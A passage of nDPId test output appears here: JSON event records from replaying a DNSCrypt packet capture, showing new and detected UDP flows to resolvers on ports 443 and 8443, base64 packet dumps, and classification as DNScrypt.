+00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":462,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":946739380805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"212.47.228.136","src_port":60885,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":463,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":805632,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ\/YoAuX4RxOQKAAAB1C\/kiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":463,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00668{"flow_id":187,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":832369,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpUBAADIRKWLUL+SICgAAAQG7leMAwtNqbd6BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00668{"flow_id":188,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":834573,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpUJAADIRKWDUL+SICgAAAQG7hbQAwuOabd2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00668{"flow_id":189,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":834784,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpUFAADMRKGHUL+SICgAAAQG7y1gAwp3xbeKBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00669{"flow_id":191,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":837836,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpUNAADMRKF\/UL+SICgAAAQG73A8Awo07beGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00668{"flow_id":192,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":838291,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpURAADIRKV7UL+SICgAAAQG77dUAwnt3bd+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00668{"flow_id":190,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":844050,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWpUVAADIRKV3UL+SICgAAAQG7n0cAwsoEbeCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAJmcghkbnNjcnlwdANvcmcAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAAGnqbCRK7WvFnA0fqnvTaP0TkhGLYlM337fP\/M0VQi0o3wTy7gpqyMQZFkjfrWn031Ofm4JJLwM1X8FbNxmrQCWUcFQ8RQkVXWSFLecisgk5xXaKVbLy2ZX6VNRztvrCJZRwVDxFCRVAAAAAV9ToghfVPOI"} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":470,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":58948,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":983948,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcVMVAAH4RMmQKAAABVQVd5uZEIPsCCHXB4\/IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":470,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":58948,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":471,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":50403,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":983956,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCx1AAH4RfAwKAAABVQVd5sTjIPsCCHXB4\/ABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":471,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":50403,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":472,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":46646,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":983957,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcVMZAAH4RMmMKAAABVQVd5rY2IPsCCHXB4+4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":472,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":946739380983,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":46646,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":57090,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984007,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcVMcgAH4RTqIKAAABVQVd5t8CIPsGBKCC4+8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":473,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":57090,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":474,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984034,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQVMcAuX4Rc3UKAAABVQVd5gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":474,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":475,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":51826,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":984041,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcVMkgAH4RTqAKAAABVQVd5spyIPsGBLUQ4\/EBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhpYmtzdHVybQAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":475,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":51826,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":476,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":946739380984,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":39259,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 